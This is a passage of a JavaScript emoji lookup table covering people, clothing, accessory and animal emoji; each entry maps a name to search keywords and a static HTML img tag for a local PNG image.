    fitzpatrick_scale: true,
    category: "people"
  },
  ok_woman: {
    keywords: [ "women", "girl", "female", "pink", "human", "woman" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude46" src="1f646.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  ok_man: {
    keywords: [ "men", "boy", "male", "blue", "human", "man" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude46\u200d\u2642\ufe0f" src="1f646-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  raising_hand_woman: {
    keywords: [ "female", "girl", "woman" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude4b" src="1f64b.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  raising_hand_man: {
    keywords: [ "male", "boy", "man" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude4b\u200d\u2642\ufe0f" src="1f64b-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  pouting_woman: {
    keywords: [ "female", "girl", "woman" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude4e" src="1f64e.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  pouting_man: {
    keywords: [ "male", "boy", "man" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude4e\u200d\u2642\ufe0f" src="1f64e-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  frowning_woman: {
    keywords: [ "female", "girl", "woman", "sad", "depressed", "discouraged", "unhappy" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude4d" src="1f64d.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  frowning_man: {
    keywords: [ "male", "boy", "man", "sad", "depressed", "discouraged", "unhappy" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude4d\u200d\u2642\ufe0f" src="1f64d-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  haircut_woman: {
    keywords: [ "female", "girl", "woman" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc87" src="1f487.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  haircut_man: {
    keywords: [ "male", "boy", "man" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc87\u200d\u2642\ufe0f" src="1f487-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  massage_woman: {
    keywords: [ "female", "girl", "woman", "head" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc86" src="1f486.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  massage_man: {
    keywords: [ "male", "boy", "man", "head" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc86\u200d\u2642\ufe0f" src="1f486-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_in_steamy_room: {
    keywords: [ "female", "woman", "spa", "steamroom", "sauna" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd6\u200d\u2640\ufe0f" src="1f9d6-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_in_steamy_room: {
    keywords: [ "male", "man", "spa", "steamroom", "sauna" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd6\u200d\u2642\ufe0f" src="1f9d6-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  couple_with_heart_woman_man: {
    keywords: [ "pair", "love", "like", "affection", "human", "dating", "valentines", "marriage" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc91" src="1f491.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  couple_with_heart_woman_woman: {
    keywords: [ "pair", "love", "like", "affection", "human", "dating", "valentines", "marriage" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d\udc69" src="1f469-200d-2764-fe0f-200d-1f469.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  couple_with_heart_man_man: {
    keywords: [ "pair", "love", "like", "affection", "human", "dating", "valentines", "marriage" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc68" src="1f468-200d-2764-fe0f-200d-1f468.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  couplekiss_man_woman: {
    keywords: [ "pair", "valentines", "love", "like", "dating", "marriage" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc8f" src="1f48f.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  couplekiss_woman_woman: {
    keywords: [ "pair", "valentines", "love", "like", "dating", "marriage" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69" src="1f469-200d-2764-fe0f-200d-1f48b-200d-1f469.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  couplekiss_man_man: {
    keywords: [ "pair", "valentines", "love", "like", "dating", "marriage" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68" src="1f468-200d-2764-fe0f-200d-1f48b-200d-1f468.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_woman_boy: {
    keywords: [ "home", "parents", "child", "mom", "dad", "father", "mother", "people", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc6a" src="1f46a.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_woman_girl: {
    keywords: [ "home", "parents", "people", "human", "child" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc67" src="1f468-200d-1f469-200d-1f467.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_woman_girl_boy: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d\udc66" src="1f468-200d-1f469-200d-1f467-200d-1f466.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_woman_boy_boy: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66" src="1f468-200d-1f469-200d-1f466-200d-1f466.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_woman_girl_girl: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d\udc67" src="1f468-200d-1f469-200d-1f467-200d-1f467.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  family_woman_woman_boy: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc66" src="1f469-200d-1f469-200d-1f466.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  family_woman_woman_girl: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc67" src="1f469-200d-1f469-200d-1f467.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  family_woman_woman_girl_boy: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d\udc66" src="1f469-200d-1f469-200d-1f467-200d-1f466.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  family_woman_woman_boy_boy: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66" src="1f469-200d-1f469-200d-1f466-200d-1f466.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  family_woman_woman_girl_girl: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d\udc67" src="1f469-200d-1f469-200d-1f467-200d-1f467.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_man_boy: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc66" src="1f468-200d-1f468-200d-1f466.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_man_girl: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc67" src="1f468-200d-1f468-200d-1f467.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_man_girl_boy: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d\udc66" src="1f468-200d-1f468-200d-1f467-200d-1f466.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_man_boy_boy: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc66\u200d\ud83d\udc66" src="1f468-200d-1f468-200d-1f466-200d-1f466.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_man_girl_girl: {
    keywords: [ "home", "parents", "people", "human", "children" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d\udc67" src="1f468-200d-1f468-200d-1f467-200d-1f467.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  family_woman_boy: {
    keywords: [ "home", "parent", "people", "human", "child" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udc66" src="1f469-200d-1f466.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  family_woman_girl: {
    keywords: [ "home", "parent", "people", "human", "child" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udc67" src="1f469-200d-1f467.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  family_woman_girl_boy: {
    keywords: [ "home", "parent", "people", "human", "children" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d\udc66" src="1f469-200d-1f467-200d-1f466.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  family_woman_boy_boy: {
    keywords: [ "home", "parent", "people", "human", "children" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66" src="1f469-200d-1f466-200d-1f466.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  family_woman_girl_girl: {
    keywords: [ "home", "parent", "people", "human", "children" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d\udc67" src="1f469-200d-1f467-200d-1f467.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_boy: {
    keywords: [ "home", "parent", "people", "human", "child" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc66" src="1f468-200d-1f466.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_girl: {
    keywords: [ "home", "parent", "people", "human", "child" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc67" src="1f468-200d-1f467.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_girl_boy: {
    keywords: [ "home", "parent", "people", "human", "children" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d\udc66" src="1f468-200d-1f467-200d-1f466.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_boy_boy: {
    keywords: [ "home", "parent", "people", "human", "children" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc66\u200d\ud83d\udc66" src="1f468-200d-1f466-200d-1f466.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  family_man_girl_girl: {
    keywords: [ "home", "parent", "people", "human", "children" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d\udc67" src="1f468-200d-1f467-200d-1f467.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  yarn: {
    keywords: [ "ball", "crochet", "knit" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddf6" src="1f9f6.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  thread: {
    keywords: [ "needle", "sewing", "spool", "string" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddf5" src="1f9f5.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  coat: {
    keywords: [ "jacket" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udde5" src="1f9e5.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  labcoat: {
    keywords: [ "doctor", "experiment", "scientist", "chemist" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd7c" src="1f97c.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  womans_clothes: {
    keywords: [ "fashion", "shopping_bags", "female" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc5a" src="1f45a.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  tshirt: {
    keywords: [ "fashion", "cloth", "casual", "shirt", "tee" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc55" src="1f455.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  jeans: {
    keywords: [ "fashion", "shopping" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc56" src="1f456.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  necktie: {
    keywords: [ "shirt", "suitup", "formal", "fashion", "cloth", "business" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc54" src="1f454.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  dress: {
    keywords: [ "clothes", "fashion", "shopping" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc57" src="1f457.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  bikini: {
    keywords: [ "swimming", "female", "woman", "girl", "fashion", "beach", "summer" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc59" src="1f459.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  kimono: {
    keywords: [ "dress", "fashion", "women", "female", "japanese" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc58" src="1f458.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  lipstick: {
    keywords: [ "female", "girl", "fashion", "woman" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc84" src="1f484.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  kiss: {
    keywords: [ "face", "lips", "love", "like", "affection", "valentines" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc8b" src="1f48b.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  footprints: {
    keywords: [ "feet", "tracking", "walking", "beach" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc63" src="1f463.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  flat_shoe: {
    keywords: [ "ballet", "slip-on", "slipper" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd7f" src="1f97f.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  high_heel: {
    keywords: [ "fashion", "shoes", "female", "pumps", "stiletto" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc60" src="1f460.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  sandal: {
    keywords: [ "shoes", "fashion", "flip flops" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc61" src="1f461.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  boot: {
    keywords: [ "shoes", "fashion" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc62" src="1f462.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  mans_shoe: {
    keywords: [ "fashion", "male" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc5e" src="1f45e.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  athletic_shoe: {
    keywords: [ "shoes", "sports", "sneakers" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc5f" src="1f45f.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  hiking_boot: {
    keywords: [ "backpacking", "camping", "hiking" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd7e" src="1f97e.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  socks: {
    keywords: [ "stockings", "clothes" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udde6" src="1f9e6.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  gloves: {
    keywords: [ "hands", "winter", "clothes" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udde4" src="1f9e4.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  scarf: {
    keywords: [ "neck", "winter", "clothes" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udde3" src="1f9e3.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  womans_hat: {
    keywords: [ "fashion", "accessories", "female", "lady", "spring" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc52" src="1f452.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  tophat: {
    keywords: [ "magic", "gentleman", "classy", "circus" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfa9" src="1f3a9.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  billed_hat: {
    keywords: [ "cap", "baseball" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udde2" src="1f9e2.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  rescue_worker_helmet: {
    keywords: [ "construction", "build" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26d1" src="26d1.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  mortar_board: {
    keywords: [ "school", "college", "degree", "university", "graduation", "cap", "hat", "legal", "learn", "education" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf93" src="1f393.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  crown: {
    keywords: [ "king", "kod", "leader", "royalty", "lord" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc51" src="1f451.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  school_satchel: {
    keywords: [ "student", "education", "bag", "backpack" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf92" src="1f392.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  luggage: {
    keywords: [ "packing", "travel" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddf3" src="1f9f3.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  pouch: {
    keywords: [ "bag", "accessories", "shopping" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc5d" src="1f45d.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  purse: {
    keywords: [ "fashion", "accessories", "money", "sales", "shopping" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc5b" src="1f45b.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  handbag: {
    keywords: [ "fashion", "accessory", "accessories", "shopping" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc5c" src="1f45c.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  briefcase: {
    keywords: [ "business", "documents", "work", "law", "legal", "job", "career" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcbc" src="1f4bc.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  eyeglasses: {
    keywords: [ "fashion", "accessories", "eyesight", "nerdy", "dork", "geek" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc53" src="1f453.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  dark_sunglasses: {
    keywords: [ "face", "cool", "accessories" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd76" src="1f576.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  goggles: {
    keywords: [ "eyes", "protection", "safety" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd7d" src="1f97d.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  ring: {
    keywords: [ "wedding", "propose", "marriage", "valentines", "diamond", "fashion", "jewelry", "gem", "engagement" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc8d" src="1f48d.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  closed_umbrella: {
    keywords: [ "weather", "rain", "drizzle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf02" src="1f302.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  dog: {
    keywords: [ "animal", "friend", "nature", "woof", "puppy", "pet", "faithful" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc36" src="1f436.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  cat: {
    keywords: [ "animal", "meow", "nature", "pet", "kitten" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc31" src="1f431.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  mouse: {
    keywords: [ "animal", "nature", "cheese_wedge", "rodent" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc2d" src="1f42d.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  hamster: {
    keywords: [ "animal", "nature" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc39" src="1f439.png"/>',
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  rabbit: {
    keywords: [ "animal", "nature", "pet", "spring", "magic", "bunny" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc30" src="1f430.png"/>',
    fitzpatrick_scale: false,
